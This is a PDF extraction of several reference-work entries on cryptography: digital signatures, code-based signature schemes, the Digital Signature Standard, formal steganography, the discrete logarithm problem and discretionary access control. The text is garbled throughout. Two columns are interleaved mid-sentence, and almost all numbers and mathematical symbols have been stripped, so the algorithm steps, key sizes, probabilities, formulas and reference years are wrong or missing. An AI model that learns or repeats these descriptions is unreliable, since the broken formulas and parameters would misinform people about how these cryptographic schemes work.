the entitys public key, the message, and the signature. scheme secure against adaptive chosen-message attacks. SIAM J
Data Authentication and signature schemes are some- Comput ():
times distinguished in the sense that in the latter, ver-
ification can be done by anyone at any time after the
generation of the signature. Due to this property, the dig-
ital signature scheme achieves Non-Repudiation prop- Digital Signature Schemes from
erty, that is, a signer cannot later deny the fact of Codes
signing.
Some examples of digital signature schemes are Philippe Gaborit , Nicolas Sendrier

RSA digital signature scheme, ElGamal digital signature XLIM-DMI, University of Limoges, France

scheme, Rabin digital signature scheme, Schnorr dig- Project-Team SECRET, INRIA Paris-Rocquencourt,
ital signature scheme, Digital Signature Standard, and Le Chesnay, France
NybergRueppel signature scheme.
Related Concepts
Error Correcting Codes; Signature Scheme; Syndrome
Background Decoding Problem; Zero-Knowledge Protocols
Unlike handwritten physical messages digital messages do
not vary according to who wrote the message. The message Denition
I am Alice transmitted by Bob look exactly the same as There exist three different types of methods to obtain a
that transmitted by Alice. Therefore just like a signature on signature scheme with code-based systems (like for num-
paper documents, a mechanism that distinguishes a mes- ber theorybased schemes). The first method (similar to
sage sent by Alice from one that is sent by someone else the RSA signature) consists in being able to decode a ran-
needs to be developed. dom element of the syndrome space. This point of view
is developed by Courtois-Finiasz-Sendrier [] and necessi-
tates to hide very large codes to obtain a reasonable prob-
Theory ability of decoding (cf. Digital Signature Scheme Based
A digital signature scheme consists of three algorithms, on McEliece). The second method uses zero-knowledge
namely the key generation algorithm, the signing algorithm identification algorithms together with the Fiat-Shamir
and the verification algorithm. The security of digital signa- paradigm [], which permits to transform such an algo-
ture is argued as follows: no adversary, without the knowl- rithm into a signature algorithm. It generally leads to very
edge of the private key, can generate a message and a sig- long signature. For coding theory, the Stern identification
nature that passes the verification algorithm. (Forgery for protocol [] is the most efficient. The last method (simi-
more discussions on the security of signatures.) There are lar to the El Gamal signature scheme) consists in building
two types of signature schemes, namely, with appendix a special subset of the syndrome space that the signer is
and with message recovery. In the former, the target mes- able to invert. In coding theory, this is done through the
sage is the input of the verification algorithm, that is, Kabatisansky-Krouk-Smeets signature scheme []; mean-
the verifier must know the message in advance to ver- while this scheme is only a few-times signature scheme, in
ify the signature. In the latter, the target message is the the sense that only a few signatures are possible for a given
output of the verification algorithm, so the message does public key.
not need to be sent with the signature. An example of There exists many specialized signature schemes in
the former is the ElGamal digital signature scheme and the literature; in the case of code-based signature, only
of the latter is the textbook RSA digital signature scheme. identity-based signature and ring signature schemes exist
(A textbook RSA digital signature scheme refers to RSA up to now.
Digital Signature Schemes from Codes D
Theory if b = : V verifies that c , c have been honestly

calculated.
Stern Identication Scheme and Signature
if b = : V verifies that c , c have been honestly
This scheme was introduced by J. Stern in []. It is a
calculated, and that the weight of (s) is .
-pass zero-knowledge protocol with a cheating probabil-
. Iterate the steps ,,, until the expected security level
ity of /. In the scheme the prover proves to the verifier
is reached.
that he knows a word of small weight associated to a given
syndrome. The level of security is very high since even for During the fourth step, when b equals , it can be
structured codes one does not know how to decode up noticed that Hyt derives directly from H(y s)t since we
to the Gilbert-Varshamov bound in polynomial time. The have: D
protocol has two main drawbacks: the size of the public Hyt = H(y s)t iP = H(y s)t Hst .
key is large and the number of rounds to achieve a good
level of security is rather high, meanwhile it is faster than The Fiat-Shamir Paradigm
comparable zero-knowledge schemes. The Fiat-Shamir paradigm permits to transform a zero-
knowledge protocol into a signature. The idea is that the
General Idea prover (which becomes the Signer here) generates the chal-
In the protocol, the prover proves he knows the secret, a lenges in a verifiable random way such that he is not able
word of small weight associated to a public syndrome of to anticipate them. It can be done in the following way:
a public matrix. The prover has to prove two facts: the
secret has the correct public syndrome and also has a small The Signer chooses a certain number of rounds t
t
weight. If one adds the fact that for zero-knowledge proto- such that ( ) is equal to the level of security needed
cols it is necessary to consider a random case, one obtains a (usually ).
rough explanation of the fact that the cheating probability
is / rather than / for the Fiat-Shamir protocol. The signer generates the t commitments at once and
generates a sequence of challenges S from a hash of the
Description t commitments concatenated with the message to sign.
Let h be a hash function. Given a public random matrix H The signature is formed from the t commitments and
of size (n k) n over F , each user receives a secret key their respective t answers associated to the sequence of
s of n bits and of weight . A users public identifier is the challenges S (taken one by one in order).
secrets key syndrome iP = Hst . It is calculated once in the In order to verify the signature, the Verifier computes
lifetime of H. It can thus be used for several future iden- the sequence S of challenges from the t commitments
tifications with different keys. Let us suppose that P wants and the signed message, and he checks that the answers
to prove to V that he is indeed the person corresponding correspond to the given commitments and challenges.
to the public identifier iP . The prover P has his own pri-
This signature has been proved secure in the random
vate key sP such that the public identifier is its syndrome
oracle model [].
iP = Hst .
. [Commitment Step] P randomly chooses y F n and a Variations on the Scheme
permutation of {, , . . . , n}. Then P sends to V the In , P. Vron proposed in ref. [] a slightly more
commitments c , c , and c such that: efficient variation of the scheme by considering for H a
t generator matrix rather than a syndrome matrix. In ,
c = h(Hy ); c = h((y)); c = h((y s))
Gaborit and Girault [] proposed several variations on the
where denotes the concatenation. Stern identification scheme by replacing the random pub-
. [Challenge Step] V sends b {, , } to P. lic matrix H by a double circulant matrix. It permits to
. [Answer Step] Three possibilities: dramatically decrease the size of the public key and the
if b = : P reveals y and . secret key, from several hundred thousand bits to only a
if b = : P reveals (y s) and . few hundred bits. The hard problem becoming the diffi-
if b = : P reveals (y) and (s). culty to decode a double circulant code up to a distance
. [Verification Step] Three possibilities: close to the Gilbert-Varshamov bound, which is thought
if b = : V verifies that c , c have been honestly as hard by the community. The double circulant approach
calculated. permits to use the scheme on smart cards [].
D Digital Signature Schemes from Codes
The Kababtiansky-Krouk-Smeets Scheme Ring Signature

A ring signature consists in being able to sign in the name
General Idea
of a group such that the verifier can check that the signature
The idea of the protocol [] consists in building a pub-
has been made by a member of the group, but is not able to
lic linear syndrome matrix, for which the Signer is able to
guess which one. At the difference of group signature there
decode any syndrome obtained by column combination of
is no process or manager which can identify the signer in
this matrix.
case of doubt.
A solution with codes to this problem has been pre-
The Protocol
sented in []. The solution is a zero-knowledge signa-
The idea of the scheme consists in taking a public binary
ture and generalizes the Stern identification protocol. In
parity matrix H to which one associates a public syndrome
a rough way, a Signer simulates a Stern signature scheme
matrix F = H.Gt , for G the generator matrix of code, whose
from a special matrix obtained from the public matrices
columns are all null except a small number, which are ran-
of other potential signers. A verifier knows that a secret
dom. The matrix G (especially the coordinates of non-null
associated to one of the Sterns public keys is used but he
columns) is the secret key when H and F are public. For
does not know which one. The scheme is specially effi-
G, a matrix with k rows, the syndrome matrix F has k
cient regarding other schemes, in the case of threshold ring
columns.
signature.
The signature is obtained as follows: By the application
of a hash function to the message, one gets a random vector
x of length k . The signature is the vector xG. The verifica- Recommended Reading
. Courtois N, Finiasz M, Sendrier N () How to achieve
tion is done by checking that H.(xG)t = F.xt and that the
weight of xG is small, the latter property being obtained Advances in cryptology ASIACRYPT . Lecture notes in
from the fact that G has only a few non-null columns. computer science, vol . Springer, Berlin, pp
. Fiat A, Shamir A () How to prove yourself: practical solu-
Security tions to identification and signature problems. In: Odlyzko AM
(ed) Advances in cryptology CRYPTO. Lecture notes in
The scheme cannot obviously be repeated a large number
of times since each time a signature is given, linear equa- . Stern J () A new identification scheme based on syn-
tions about the secret key leak, which makes this scheme drome decoding. In: Stinson DR (ed) Advances in cryptology
only a few-times signature scheme. In order to obtain a CRYPTO. Lecture notes in computer science, vol .
signature scheme one needs k . The security of Springer, Berlin, pp
. Kabatianskii G, Krouk E, Smeets B () A digital signature
the scheme is related to the syndrome decoding problem
scheme based on random error-correcting codes. In: Goos G,
although no clear reduction of the scheme to this problem Hartmanis J, van Leeuwen J (eds) Crytography and coding.
exists. The security of the scheme has also been studied in Lecture notes in computer science, vol . Springer, Berlin,
[] but needs more scrutiny. pp
. Pointcheval D, Stern J () Security proofs for signa-
ture schemes. In: Maurer U (ed) Advances in cryptology
Specialized Signatures
Identity-Based Signature Springer, Berlin, pp
. Vron P () Improved identification schemes based on error-
The first specialized signature was derived by Cayrel,
correcting codes. Appl Algebra Eng Commun Comput ():
Gaborit and Girault in []. The idea consists in mixing
the CFS signature protocol with the signature version of . Gaborit P, Girault M () Lightweight code-based identifi-
the Stern identification protocol. One starts from a ran- cation and signature. In: IEEE conference, ISIT, Nice. IEEE,
dom sequence associated to identification parameters of a pp
. Cayrel PL, Gaborit P, Prouff E () Secure implementation of
person P, this data is considered as a random syndrome
the stern authentication and signature schemes for low-resource
of a public matrix H of the CFS scheme. An authority that devices. In: Grimaud G, Standaert FX (eds) CARDIS .
knows the secret key associated to H recovers the secret Lecture notes in computer science, vol . Springer, Berlin,
word x associated to the syndrome via the CFS scheme. The pp
word x can then be used by P as private key to sign through . Cayrel PL, Otmani A, Vergnaud D () On kabatianskii-
krouk-smeets signatures. In: First international workshop,
the Stern signature scheme, the public key being the ran-
WAIFI , Madrid. Lecture notes in computer science,
dom syndrome associated to the identity of P. This scheme vol . Springer, Berlin, pp
is mainly theoretical since it leads to very large signature . Cayrel PL, Gaborit P, Girault M () Identity-based iden-
size of several megabits. tification and signature schemes using correcting codes. In:
Digital Signature Standard D
Augot D, Sendrier N, Tillich J-P (eds) International workshop . Compute r = (g k mod p) mod q. We view r as an integer
on coding and cryptography, WCC . INRIA, pp r < q.
. Melchor CA, Cayrel PL, Gaborit P () A new efficient
. Compute s = k (H(m) + r) mod q.
threshold ring signature scheme based on coding theory. In:
Buchmann J, Ding J (eds) PQCrypto. Lecture notes in computer
. Output the pair (r, s) Zp as the signature on m.
Verifying. To verify a message/signature pair (m, (r, s))
using the public key (p, q, g, y, H) do:
. Verify that r, s < q, otherwise reject the signature.
Digital Signature Standard . Compute u = H(m)/s mod q and u = r/s mod q.
. Compute v = (g u yu mod p) mod q.
D
. Accept the signature if r = v mod q. Otherwise, reject.
Dan Boneh
Department of Computer Science, Stanford University, We first check that the verification algorithm accepts
Stanford, CA, USA all valid message/signature pairs. For a valid mes-
sage/signature pair, we have:
Related Concepts
Digital Signature Scheme; ElGamal Digital Signature g u yu = g u +u = g (H(m)+r)/s = g k (mod p) .
Scheme; Schnorr Digital Signature
It follows that v = (g u yu mod p) mod q = r and therefore
Background a valid message/signature is always accepted.
The Digital Signature Standard (DSS), first proposed by It is not clear how to analyze the security of this algo-
Kravitz [] in , became a US federal standard in rithm. Even the random oracle model does not seem to
May . It is published as Federal Information Pro- help since there is no hash function in the algorithm that
cessing Letters (FIPS) . The signature scheme is based can be modelled as a random oracle. It is believed that
on the ElGamal digital signature scheme and borrows this is deliberate so that the algorithm does not infringe
ideas from Schnorr digital signatures for reducing signa- on existing patents. Security analysis for a generalization
ture size. of DSS is given in [].
To discuss signature length we fix concrete security
Theory parameters. At the present time the discrete-logarithm
We describe a slight generalization of the algorithm that problem in the cyclic group Zp where p is a -bit
allows for an arbitrary security parameter, whereas the prime is considered intractable [] except for a very well
standard only supports a fixed parameter. The signature
funded organization. DSS uses a subgroup of order q of
scheme makes use of modular arithmetic and works as Zp . When q is a -bit prime, the discrete-log problem
follows: in this subgroup is believed to be as hard as discrete-log in
Key Generation. Given two security parameters , all of Zp . Hence, for the present discussion we assume p
Z ( > ) as input do the following: is a -bit prime and q is a -bit prime. Since a DSS
. Generate a random -bit prime q. signature contains two elements in Zq we see that, with
. Generate a random -bit prime p such that q divides these parameters, a DSS signature is -bits long. This is
p . the same length as a Schnorr signature. We note that BLS
. Pick an element g Zp of order q. short signatures are half the size and provide comparable
. Pick a random integer [, q] and compute y = g a security.
Zp .
. Let H be a hash function H : {, } Zq . The FIPS Recommended Reading
standard mandates that H be based on the SHA- . Brickell E, Pointcheval D, Vaudenay S, Yung M () Design
cryptographic hash function. validations for discrete logarithm based signature schemes.
. Output the public key (p, q, g, y, H) and the private key In: Proceedings of Public Key Cryptography , Melbourne.
(p, q, g, , H). Lecture Notes in Computer Science, vol . Springer-Verlag,
Berlin, pp
Signing. To sign a message m {, } using the private . Kravitz D () Digital signature algorithm. U.S. patent
key (p, q, g, , H) do: #,,
. Lenstra A, Verheul E () Selecting cryptographic key sizes.
. Pick a random integer k [, q ]. J Cryptol ():
D Digital Steganography
encryption scheme since it may be enough for the adver-

Digital Steganography sary to learn only a small amount of information about the
embedded message to conclude that Alice and Bob are con-
Christian Cachin spiring. But steganography requires more than that. The
IBM Research - Zurich, Rschlikon, Switzerland ciphertext generated by most encryption schemes resem-
bles a sequence of random bits, and this is very likely
Related Concepts to raise the suspicion of Eve. Instead, stegotext should
Asymmetric Cryptosystem; Covert Channels; look just like innocent covertext even though it contains
Shannons Model; Symmetric Cryptosystem a hidden message.
This intuition forms the basis of the formal approach to
Denition steganography [], which views a stegosystem as a cryp-
Steganography is the art and science of hiding information tosystem with the additional property that its output, i.e.,
by embedding messages within other, seemingly harmless the stegotext, is not distinguishable from covertext to the
messages. Conceptually, a stegosystem is a cryptosystem adversary.
with the additional property that the ciphertext that it out-
puts is not distinguishable from covertext known to the
adversary. Theory
Formally, a stegosystem consists of a triple of algorithms
Background for key generation, message encoding, and message decod-
Steganography means covered writing in Greek. Steganog- ing, respectively. In the symmetric-key setting, the output
raphy goes beyond cryptography, whose goal is only to hide of the key generation algorithm is given only to Alice and
the content of a message, in that it also hides the presence to Bob.
of a message and creates a covert channel. The covertext is modeled by a distribution C over a
A famous illustration of steganography is Simmons given set C. The covertext may be given explicitly as a list of
Prisoners Problem []: Alice and Bob are in jail, locked values or implicitly as an oracle that returns a sample of C
up in separate cells far apart from each other, and wish to upon request. A stegosystem that does not require explicit
devise an escape plan. They are allowed to communicate by knowledge of the covertext distribution is called universal.
means of sending messages via trusted couriers, provided Sometimes a more general covertext channel is used,
they do not deal with escape plans. But the couriers are which allows to model dependencies among repeated uses
agents of the warden Eve (the adversary) and will leak all of the same covertext source. A channel consists of an
communication to her. If Eve detects any sign of conspir- unbounded sequence of values drawn from a set C whose
acy, she will thwart the escape plans by transferring both distribution may depend in arbitrary ways on past outputs;
prisoners to high-security cells from which nobody has access to the channel is given only by an oracle that sam-
ever escaped. Alice and Bob are well aware of these facts, ples from the channel. The assumption is that the channel
so that before getting locked up, they have shared a secret oracle can be queried with an arbitrary prefix of a possi-
codeword that they are now going to exploit for embed- ble channel output, i.e., its past history, and it will return
ding a hidden information into their seemingly innocent the next symbol according to the channel distribution. In
messages. Alice and Bob succeed if they can exchange order to simplify the presentation, channels are not consid-
information allowing them to coordinate their escape and ered here, but all definitions and constructions mentioned
Eve does not become suspicious. below can be readily extended to covertext channels.
A legitimate communication among the prisoners is The definition uses the complexity-theoretic notions of
called covertext, and a message with embedded hidden probabilistic polynomial-time algorithms and negligible
information is called stegotext. The distributions of cover- functions, in terms of a security parameter n.
text and stegotext are known to Eve because she knows
Definition (Stegosystem) Let C be a distribution on a
what constitutes a legitimate communication among pris-
set C of covertexts. A stegosystem is a triple of probabilistic
oners and which tricks they apply to add a hidden meaning
polynomial-time algorithms (SK, SE, SD) with the following
to innocently looking messages.
properties.
The algorithms for creating stegotext with an embed-
ded message by Alice and for decoding the message by The key generation algorithm SK takes as input the secu-
Bob are collectively called a stegosystem. A stegosystem rity parameter n and outputs a bit string sk, called the
should hide the embedded message at least as well as an [stego] key.
Digital Steganography D
The steganographic encoding algorithm SE takes as value of b, i.e., to determine whether the message m
inputs the security parameter n, the stego key sk and a has been embedded in c or whether c has simply been
message m {, }l to be embedded and outputs an ele- chosen according to C.
ment c of the covertext space C, which is called stegotext.
The adversary succeeds to distinguish stegotext from
The algorithm may access the covertext distribution C.
covertext if b = b in the above experiment. Since it is
The steganographic decoding algorithm SD takes as
trivial to achieve Pr[b = b] = , what actually counts
inputs the security parameter n, the stego key sk, and an
is the adversarys advantage above randomly guessing b.
element c of the covertext space C and outputs either a
Formally, define the advantage of adversary (SA , SA )
message m {, }l or a special symbol . An output
value of indicates a decoding error, for example, when
to be D
SD has determined that no message is embedded in c.
n R
Pr[sk SK; (m , s) SA ( ); b {, };
For all sk output by SK(n ) and for all m {, }l , the
if b = then c SE(n , sk, m ) else c C :
R
probability that
SD(n , sk, SE(n , sk, m)) m n

SA ( , c , m , s) = b] .

must be negligible in n.
The syntax of a stegosystem as defined above is equiv- Depending on the detection capabilities ascribed to
alent to that of a symmetric-key cryptosystem, except for the adversary in terms of its computational power, and
the presence of the covertext distribution. The probability depending on its advantage in distinguishing stegotext
that the decoding algorithm outputs the correct embedded from covertext, one obtains the following security notions
message is called the reliability of a stegosystem. for stegosystems:
Perfectly secure steganography: The adversary is an arbi-
Security Denition trary, unbounded algorithm and has advantage equal
The security of a stegosystem is defined in terms of an to .
experiment that measures the capability of the adversary to Statistically secure steganography: The adversary is an arbi-
detect the presence of an embedded message. In a secure trary, unbounded algorithm and has only negligible
stegosystem, Eve cannot distinguish whether Alice is send- advantage (in n).
ing legitimate covertext or stegotext. Computationally secure steganography: The adversary is an
The attack considered here is a chosen-message attack, arbitrary probabilistic, polynomial-time computable
where the adversary may influence the embedded message algorithm and has only negligible advantage in n.
but has otherwise no access to the encoding and decod-
ing functions. It parallels the notion of a chosen-plaintext The first two notions give stegosystems with uncon-
attack against a cryptosystem. ditional, information-theoretic security and are discussed
Consider an adversary defined by a pair of algorithms in the next section. The third notion gives computa-
(SA , SA ). The experiment consists of four stages. tional security and is discussed in the subsequent section
(Security (Computational, Unconditional)). This discus-
. A key sk is generated by running the key generation sion has so far assumed that the sender and the receiver
algorithm SK. share the same secret key before communicating, as in a
. Algorithm SA is run with input the security parame- symmetric cryptosystem. Departing from that assump-
ter n; it outputs a tuple (m , s), where m {, }l is tion, it is also possible to define public-key steganography
a message and s is some additional information which with computational security, analogous to asymmetric
the algorithm wants to preserve. SA has access to the cryptosystems or public-key cryptography. This is the
covertext distribution C. subject of the last section.
. A bit b is chosen at random and a challenge cover- For the scope of this survey, the adversary is limited to
text c is determined depending on it: If b = then passive attacks. In the Prisoners Problem, this means that
c SE(sk, m ) (c becomes a steganographic encod- the couriers may not change the messages communicated
ing of m ) otherwise c C (c is chosen randomly
R
between Alice and Bob and that Eve may not send a mes-
according to C). sage generated by herself to Bob and observe his reaction
. Algorithm SA is run with inputs n, c , m , and s, to it. However, the adversary may influence the messages to
and outputs a bit b . The goal of SA is to guess the be embedded; for example, Eve may determine the details
D Digital Steganography
of Alice and Bobs escape plan by choosing to confine them function such that the advantage in the experiment above
in particular cells. is at most (n).
What distinguishes steganography from other forms
Statistical security for stegosystems may equivalently
of information hiding is the focus on merely detecting
be defined by requiring that for any sk and any m, the sta-
the presence of a hidden message. Watermarking and
tistical distance between the probability distribution gen-
fingerprinting are two different problems of information
erated by SE(n , sk, m) and the covertext distribution is
hiding, where the existence of a hidden message is public
negligible.
knowledge. The focus in these areas is on hiding the mes-
Definition was first proposed by Katzenbeisser and
sage in perceptual data from an observer that is typically
Petitcolas [] and a very similar notion was defined by
a human, and on embedding the message robustly so that
Cachin [].
it cannot be removed without significantly distorting the
Here is a simple example of a statistically secure
data itself.
stegosystem. It is representative for a class of practical
stegosystems that embed information in a digital image
Information-Theoretically Secure
by modifying the least significant bit of every pixel rep-
Steganography
resentation [, ]. Suppose that the cover space C is the
Definition (Perfect Security) Given a covertext dis-
set of n-bit strings with (C , C ) being a partition of C
tribution C, a stegosystem (SK, SE, SD) is called perfectly R
secure with respect to C if for any adversary (SA , SA ) and with distribution C such Pr[c C : c C ]
R
with unbounded computational power, the advantage in the Pr[c C : c C ] = (n) for some negligible
experiment above is equal to . . Then there is a stegosystem for a one-bit message m
using a one-bit secret key sk. The encoding algorithm SE
Perfect security for a stegosystem parallels the R
computes s m sk and outputs c Cs . Decod-
Shannon model of perfect security for a cryptosystem.
ing works without error because m = if and only if
The requirement that every adversary has no advantage
c Csk . It is easy to see that the encoding provides per-
implies that the distributions of the challenge c are equal
fect secrecy for m and that the stegosystem is statistically
in the two cases where it was generated from SE (when
secure. Note, however, that finding the partition for a given
b = ) and sampled from C (when b = ). Hence, the
distribution is an NP-hard combinatorial optimization
adversary obtains no information about b because she only
problem.
observes the challenge c and the distribution of c is sta-
There exist also statistically secure universal stegosys-
tistically independent of b. Perfectly secure stegosystems
tems, where the covertext distribution is only available
were defined by Cachin [].
as a sampling oracle. Information-theoretically secure
Perfectly secure stegosystems exist only for a very lim-
stegosystems suffer from the same drawback as cryptosys-
ited class of covertext distributions. For example, if the
tems with unconditional security in the sense that the
covertext distribution is uniform, the one-time pad is a
secret key may only be used once. This is not the case for
perfectly secure stegosystem as follows.
computational security considered next.
Assume the covertext C is uniformly distributed over
the set of n-bit strings for some positive n and let Alice
and Bob share an n-bit key sk with uniform distribution. Computationally Secure Steganography
The encoding function computes the bitwise XOR of the Definition (Computational Security) Given a cover-
n-bit message m and sk, i.e., SE(n , sk, m) = m sk; Bob text distribution C, a stegosystem (SK, SE, SD) is called com-
can decode this by computing SD(n , sk, c) = c sk. The putationally secure with respect to C if for all probabilistic
resulting stegotext is uniformly distributed in the set of n- polynomial-time adversaries (SA , SA ), there exists a neg-
bit strings. The one-time pad stegosystem is used like this ligible function such that the advantage in the experiment
in a visual secret sharing scheme []. above is at most (n).
For covertext distributions that do not admit perfectly
The notion was introduced by Katzenbeisser and Petit-
secure stegosystems, one may still achieve the following
colas [] and by Hopper, Langford, and von Ahn []. The
security notion.
latter work also presented the following construction of
Definition (Statistical Security) Given a covertext dis- a computationally secure, universal stegosystem. It illus-
tribution C, a stegosystem (SK, SE, SD) is called statistically trates a popular encoding method that does not rely on
secure with respect to C if for all adversaries (SA , SA ) with knowledge of the covertext distribution, which is also used
unbounded computational power, there exists a negligible by some practical stegosystems.
Digital Steganography D
The encoding method is based on an algorithm sam- with public keys, similar to public-key cryptography. The
ple, which samples a covertext according to C such that a only requirement is that Bobs public key becomes known
given bit string b of length f = O(log C) is embedded in it. to Alice in a way that is not detectable by Eve.
Formally, a public-key stegosystem consists of a triple
Algorithm sample of algorithms for key generation, message encoding, and
message decoding like a (secret-key) stegosystem, but the
Require: security parameter n, a function g : C {, }f ,
key generation algorithm now outputs a stego key pair
and a value b {, }f
(spk, ssk). The public key spk is made available to the adver-
Ensure: a covertext x
sary and is the only key needed by the encoding algorithm
: j
SE. The decoding algorithm SD needs the secret key ssk as
D
: repeat
R an additional input. These components similar to those of
: xC
an asymmetric cryptosystem.
: jj+
: until g(x) = b or j = n Definition (Public-Key Stegosystem) Let C be a dis-
: return x tribution on a set C of covertexts. A public-key stegosys-
tem is a triple of probabilistic polynomial-time algorithms
Intuitively, algorithm sample returns a covertext cho- (SK, SE, SD) with the following properties.
sen from distribution C, but restricted to that subset of C The key generation algorithm SK takes as input the
which is mapped to the given b by g. sample may also fail security parameter n and outputs a pair of bit strings
and return a covertext c with g(c) b, but this happens (spk, ssk), called the [stego] public key and the [stego]
only with negligible probability in n. secret key.
Suppose {Gk } is a pseudo-random function family The steganographic encoding algorithm SE takes as
indexed by k, with domain {, } C and range {, }f . inputs the security parameter n, the stego public key spk
(It can be thought of as a pair (G , G ) of independent and a message m {, }l and outputs a covertext c C.
pseudorandom functions.) The secret key of the stegosys- The steganographic decoding algorithm SD takes as
tem consists of a randomly chosen k. The encoding algo- inputs the security parameter n, the stego secret key ssk,
rithm SE(n , k, m) for an f -bit message m first encrypts and a covertext c C, and outputs either a message m
m to y Gk (, c ) m for a public constant c C. {, }l or a special symbol .
Note that y is the ciphertext of a symmetric cryptosys-
tem of m and is computationally indistinguishable from For all (spk, ssk) output by the key generation algo-
a random f -bit string. This value y is then embedded by rithm and for all m {, }l , the probability that
computing a stegotext c sample(n, Gk (, ), y). It can be SD(n , ssk, SE(n , spk, m)) m must be negligible in n.
shown that when C is sufficiently random, as measured in Security is modeled analogously to the definition of
terms of min-entropy, the output distribution of sample is symmetric-key stegosystems, with the difference that the
statistically close to C [, ]. public key spk is additionally given to the adversary algo-
The decoding algorithm SD(n , k, c) outputs m rithms SA and SA and that the challenge covertext
Gk (, c) Gk (, c ); it is easy to show that m is equal is computed using spk only. With these modifications,
to the message that was embedded using SE except with a public-key stegosystem (SK, SE, SD) is called secure
negligible probability. against adaptive chosen-plaintext attacks if it is compu-
This stegosystem is an extension of the example given tationally secure according to Definition .
above for statistical security. In fact, when G is a universal Secure public-key stegosystems can be constructed with
hash function and the encryption is realized using a one- the same method as computationally secure stegosystems,
time pad, this is a universal stegosystem with statistical replacing the pseudorandom function G (which is used for
security. encryption) by a public-key cryptosystem that has almost
uniform ciphertexts. This property means that the output of
Public-Key Steganography the encryption algorithm is computationally indistinguish-
What if Alice and Bob did not have the time to agree on a able from a uniform bit string of the same length.
secret key before being imprisoned? They cannot use any The definition and several constructions of public-
of the stegosystems presented so far because that would key stegosystems have been introduced by von Ahn and
require them to share a common secret key. Fortunately, Hopper [] and by Backes and Cachin []. The latter work
steganography is also possible without shared secrets, only also goes beyond the case of passive adversaries considered
D Discrete Logarithm Problem
here and models adaptive chosen-covertext attacks, which Denition

are similar to adaptive chosen-ciphertext attacks against Let G be a cyclic group of order n, and g be a generator for
public-key cryptosystems. G. Given an element y G, the discrete logarithm problem
The evolution of the formal approach to stegosystems is to find an integer x such that
has gone through the same steps as the development of for-
mal models for cryptosystems. The models and the formu- g x = y.
lation of corresponding stegosystems that offer provable
security have greatly enhanced the understanding of this
important area of information security.
Background
The discrete logarithm problem has been of particular
interest since Diffie and Hellman (Diffie-Hellman Key
Recommended Reading
Agreement) invented a cryptographic system based on
. Anderson RJ, Petitcolas FA () On the limits of steganography.
IEEE J Sel Areas Commun (): the difficulty of finding discrete logarithms (a similar
. Backes M, Cachin C () Public-key steganography with active system was created around the same time by Malcolm
attacks. In: Kilian J (ed) Proceedings nd theory of cryptography Williamson at the Government Communications Head-
conference (TCC ). Lecture notes in computer science, vol quarters (GCHQ) in the UK, but not revealed until years
. Springer, Heidelberg, pp
later).
. Cachin C () An information-theoretic model for stegano-
graphy. Information and Computation (): (Preliminary
version appeared in Proceedings nd Workshop on Information Theory
Hiding, )
. Hopper NJ, von Ahn L, Langford J () Provably secure
Any finite group may be used for a Diffie-Hellman system,
steganography. IEEE Transactions on Computers (): but some are more secure than others. The main groups
. Katzenbeisser S, Petitcolas FAP () Defining security in used are:
steganographic systems. In: Delp EJ, Won PW (eds) Secu-
rity and watermarking of multimedia contents IV. Proceedings The multiplicative subgroup of a finite field GF(q),
of SPIE, international society for optical engineering, vol . with q a prime or a power of
pp The points on an elliptic curve E over a finite field
. Naor M, Shamir A () Visual cryptography. In: De Santis A (Elliptic Curves)
(ed) Advances in cryptology: eurocrpyt. Lecture notes in
computer science, vol . Springer, Heidelberg, pp
The class group of a quadratic number field
. Simmons GJ () The prisoners problem and the subliminal The divisor class group of a hyperelliptic curve of
channel. In: Chum D (ed) Advances in cryptology: proceedings small genus
of crypto, Plenum Press, New York, pp
. von Ahn L, Hopper NJ () Public-key steganography. In: The fastest algorithm for finding discrete logarithms in
Cachin C, Camenisch J (eds) Advances in cryptology: euro- prime fields GF(p) is the Number Field Sieve for DLPs.
crpt. Lecture notes in computer science, vol . Springer, The asymptotic complexity is the same as for factoring,
Heidelberg, pp
although the linear algebra system is solved modulo p
instead of modulo , making discrete logarithms harder
than factoring problems of the same size.
Discrete Logarithm Problem For fields GF(n ) the Function Field Sieve is the
fastest algorithm. Recent work by Joux, Lercier, Smart,
and Vercauteren has shown that these algorithms may be
Dan Gordon
extended to find discrete logarithms in any finite field in
IDA Center for Communications Research, San Diego,
subexponential time.
CA, USA
Hafner and McCurley gave a subexponential attack for
class groups of imaginary quadratic number fields, and
Synonyms Buchmann extended this to real quadratic and, conjec-
DLP turally, higher-degree number fields.
The Elliptic Curve Discrete Logarithm Problem
Related Concepts (ECDLP) was suggested as a basis for cryptosystems in
Computational DiffieHellman Problem; Elliptic Curve by Neal Koblitz and Victor Miller. Because no subex-
Discrete Logarithm Problem; Function Field Sieve; ponential attack was known for them, much shorter key
Generic Attacks Against DLP; Number Field Sieve for sizes could be used. Since then, several attacks on special
the DLP elliptic curves have been developed, but no index calculus
Discretionary Access Control D
attack for general curves are known. Refer the entry on . Odlyzko AM () Discrete logarithms: the past and the future.
Elliptic Curve Cryptosystems for details. Design Code Cryptogr :
Applications
As mentioned above, the Diffie-Hellman system was the
first cryptographic system depending on the difficulty of Discretionary Access Control
the discrete logarithm problem. Since then many other
such systems have been proposed, such as the El Gamal Ninghui Li
digital signature scheme and the Digital Signature Stan- Department of Computer Science, Purdue University,
dard. Lenstra and Verheuls XTR system depends on the
D
West Lafayette, Indiana, USA
security of discrete logarithms in GF(p ), for p
bits; torus-based cryptography studies the general con-
cept of these subgroup cryptosystems. Synonyms
DAC
In Kevin McCurley gave a challenge problem []. Let Related Concepts
q = ( )/ and p = q + . McCurley gave two Access Control; Mandatory Access Control; Role-
numbers modulo p which equal x and y for some x and Based Access Control Policies (RBAC); Roles in SQL
y, and issued a challenge to find xy .
The form of p was intended to make it easy to show Denition
that p is prime and that is a primitive root modulo p. Discretionary access control (DAC) is a paradigm of con-
Unfortunately, soon afterward the number field sieve was trolling accesses to resources. According to the trusted
discovered, which showed that the special form of this p computer system evaluation criteria (TCSEC) (often
made the system much less secure. The challenge was bro- referred to as the Orange Book)[], discretionary access
ken in by Weber and Denny using the special number control is a means of restricting access to objects based
field sieve. on the identity of subjects and/or groups to which they
Joux and Lercier found discrete logarithms modulo a belong. The controls are discretionary in the sense that
nonspecial -digit prime in . For fields of character- a subject with a certain access permission is capable of
istic , the record is GF( ), which was done in by passing that permission (perhaps indirectly) on to any
Thom. other subject (unless restrained by mandatory access
In Certicom issued a series of ECC challenges. control).
The problems ranged from easy (curves over -bit fields) The National Computer Security Center (NCSC) guide
to very difficult (-bit fields). The largest challenge prob- titled A Guide to Understanding Discretionary Access
lems solved to date are curves over -bit fields. A group Control in Trusted Systems [], portions of which were
lead by Monico solved the challenge for a curve over a published as a research paper [], states that the basis for
prime field in and a curve over GF( ) in . (DAC) is that an individual user, or program operating on
